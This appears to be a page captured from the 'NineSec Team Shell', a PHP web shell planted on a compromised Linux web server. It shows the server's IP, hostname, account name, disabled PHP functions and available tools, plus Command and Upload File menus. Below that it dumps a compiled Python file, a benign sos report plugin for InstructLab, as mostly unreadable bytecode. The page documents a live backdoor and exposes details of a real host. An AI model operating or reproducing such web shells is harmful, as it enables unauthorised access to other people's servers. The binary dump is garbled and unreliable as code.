NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/instructlab.cpython-36.opt-1.pyc
3

~�g��@s2ddlZddlmZmZmZGdd�dee�ZdS)�N)�Plugin�IndependentPlugin�	PluginOptc@sXeZdZdZdZdZdZdZdZe	dde
dd�e	d	d
e
dd�e	dd
dd�gZdd�ZdS)�InstructlabaL
    This plugin is used to capture information about
    Instructlab installations.
    InstructLab is an open source project for enhancing
    large language models (LLMs) used in generative
    artificial intelligence (gen AI) applications.
    Instructlab can run either as a container, or directly
    outside a container.
    �instructlab�ai�ilabz	ilab-userz
cloud-userzuser that runs instructlab)�defaultZval_type�descz
ilab-conf-dir�zinstructlab data directoryz	get-cacheFz#Capture models and osci cached data)r	r
cs*d}d}d}d}d}�j||�}�j||�}�j||���j�j�d��j�d��j|d��j|d	�g�d
ddd
dg}dddddddddg	}	y�jd�dd}
Wntk
r�d}
YnX�j|�d�|�d�g|
d��j��fdd�|	D�|
d��jd d�|D�|
d��j|d!|
d"��jd#��r>�j|�|
d��jt	�j
���jd$�}ytj|�}Wn(t
k
�r��jd%|�d&��dSX|�r&|j}
�jd'��r��j|
�jd'��}
�j|
|���j�j|
|���j��fd(d�|	D���j�j|
|�d!d)��jd#��r&�j�j|
|��dS)*Nz/usr/share/instructlab/configz/opt/app-root/srcz.cache/instructlabz.config/instructlabz.local/share/instructlabz
taxonomy/.gitztaxonomy/.githubz*src/.local/share/instructlab/taxonomy/.gitz-src/.local/share/instructlab/taxonomy/.githubz
taxonomy diffz#taxonomy diff --taxonomy-base=emptyzsystem infoz
model listzconfig show�dataZ	generatedZtaxonomyZ
taxonomy_dataZchatlogsZcheckpointsZdatasetsZinternalZphasedzinstructlab*r�z/rhel_ai_config.yamlz/config.yaml)�	containercsg|]}�j�|��qS�)�	path_join)�.0�data_dir)�cont_local_path�selfr�!/usr/lib/python3.6/instructlab.py�
<listcomp>gsz%Instructlab.setup.<locals>.<listcomp>cSsg|]}d|���qS)zilab r)r�subrrrrlsT)�	recursiverz	get-cachez	ilab-userzUser "z�" does not exist, will not collect Instructlab information. Use `-k instructlab.ilab-user` option to define the user to use to collect data for Instructlabz
ilab-conf-dircsg|]}�j�|��qSr)r)rr)�data_dirs_baserrrr�s)r)rZadd_forbidden_pathZget_all_containers_by_regex�	ExceptionZ
add_copy_specZadd_cmd_outputZadd_dir_listingZ
get_optionZadd_container_logs�list�
containers�pwd�getpwnam�KeyErrorZ	_log_warn�pw_dir)rZcont_share_conf_pathZ
cont_opt_path�	cache_dirZ
config_dirZlocal_share_dirZcont_cache_pathZcont_config_pathZsubcmdsZ	data_dirsZilab_conZ	ilab_userZuser_pwdZilab_dirr)rrrr�setup)s�






zInstructlab.setupN)r)rr)r)
�__name__�
__module__�__qualname__�__doc__Z
short_descZplugin_nameZprofilesrZcommandsr�strZoption_listr"rrrrrs	
r)rZsos.report.pluginsrrrrrrrr�<module>s

NineSec Team - 2022